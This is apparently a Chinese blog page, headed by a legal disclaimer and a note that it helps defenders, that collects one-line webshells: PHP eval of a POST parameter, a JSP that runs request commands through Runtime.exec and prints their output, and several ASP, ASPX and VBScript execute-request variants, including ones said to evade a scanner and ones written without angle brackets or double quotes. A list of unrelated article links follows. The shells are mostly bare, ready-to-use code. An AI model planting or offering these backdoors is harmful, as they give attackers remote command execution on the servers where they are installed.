当前位置: 首页 > news >正文

网络安全-一句话木马

声明

遵纪守法
请严格遵守网络安全法相关条例!
此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
一切未经授权的网络攻击均为违法行为,互联网非法外之地。

反制

大家在知道了常规一句话的木马之后,就可以通过关键字或者更高级的方式来查看服务器是否存在木马。不知攻、焉知防。

最经典的 php一句话

<?php eval(@$_POST['cmd']); ?>

php7中此命令是不行的,可以拼接命令绕过。这也显示了攻防的对抗和进化。

<?php $p = $_POST['cmd'];@eval($p);
?>

jsp一句话:

  <%Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
//    System.out.println(process);InputStream inputStream = process.getInputStream();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));String line;while ((line = bufferedReader.readLine()) != null){response.getWriter().println(line);}%>

images

<!--#include file="images\1.jpg" --><%eval request("3")%><%execute request("3")%><%execute(request("3"))%><%If Request("3")<>"" Then Execute(Request("3"))%><%if request ("3")<>""then session("3")=request("3"):end if:if session("3")<>"" then execute session("3")%><SCRIPT language=VBScript runat="server">execute request("3")</SCRIPT><%@ Page Language="Jscript"%><%eval(Request.Item["3"],"unsafe");%>



asp一句话

<%execute(request("3"))%>





aspx一句话

<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>




可以躲过雷客图的一句话。

<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>



不用'<,>'的asp一句话

<script language=VBScript runat=server>execute request("1")</script>



不用双引号的一句话。

<%eval request(chr(35))%>

参考:

lcx.cc

相关文章:

  • steam搬砖项目真的假的,2024年到底还能不能做?
  • Linux——网络通信TCP通信常用的接口和tcp服务demo
  • 【springboot+vue项目(十五)】基于Oauth2的SSO单点登录(二)vue-element-admin框架改造整合Oauth2.0
  • SQL-2
  • 二、ActiveMQ安装
  • spring boot自动装配及自动装配条件判断
  • 蓝桥杯刷题--python-9(2023填空题2)
  • Stable Diffusion——基础模型、VAE、LORA、Embedding各个模型的介绍与使用方法
  • 分页工具类
  • linux系统监控工具的补充内容
  • C#面:列出 .NET 中的几种循环方法,并指出它们的不同
  • 使用VBA将多个txt批量转换成excel表并保存
  • 浅谈Java常见设计模式及实例
  • 使用Docker快速部署MySQL
  • 静态curl库编译与使用(c++)
  • [原]深入对比数据科学工具箱:Python和R 非结构化数据的结构化
  • Angular 2 DI - IoC DI - 1
  • CentOS6 编译安装 redis-3.2.3
  • CODING 缺陷管理功能正式开始公测
  • go append函数以及写入
  • overflow: hidden IE7无效
  • springboot_database项目介绍
  • 从零开始的无人驾驶 1
  • 开源SQL-on-Hadoop系统一览
  • 看图轻松理解数据结构与算法系列(基于数组的栈)
  • 来,膜拜下android roadmap,强大的执行力
  • 深入浅出webpack学习(1)--核心概念
  • 体验javascript之美-第五课 匿名函数自执行和闭包是一回事儿吗?
  • 翻译 | The Principles of OOD 面向对象设计原则
  • 进程与线程(三)——进程/线程间通信
  • ​水经微图Web1.5.0版即将上线
  • #define MODIFY_REG(REG, CLEARMASK, SETMASK)
  • $.proxy和$.extend
  • (12)Hive调优——count distinct去重优化
  • (附程序)AD采集中的10种经典软件滤波程序优缺点分析
  • (附源码)计算机毕业设计SSM智能化管理的仓库管理
  • (四)汇编语言——简单程序
  • (推荐)叮当——中文语音对话机器人
  • (一)插入排序
  • (转) ns2/nam与nam实现相关的文件
  • (转)真正的中国天气api接口xml,json(求加精) ...
  • .NET Core 版本不支持的问题
  • .net refrector
  • .NET 简介:跨平台、开源、高性能的开发平台
  • .Net 路由处理厉害了
  • .NET 自定义中间件 判断是否存在 AllowAnonymousAttribute 特性 来判断是否需要身份验证
  • .net和php怎么连接,php和apache之间如何连接
  • .net中应用SQL缓存(实例使用)
  • @zabbix数据库历史与趋势数据占用优化(mysql存储查询)
  • [ vulhub漏洞复现篇 ] Grafana任意文件读取漏洞CVE-2021-43798
  • []利用定点式具实现:文件读取,完成不同进制之间的
  • [④ADRV902x]: Digital Filter Configuration(发射端)
  • [acwing周赛复盘] 第 94 场周赛20230311
  • [Android] 修改设备访问权限
  • [BUUCTF 2018]Online Tool(特详解)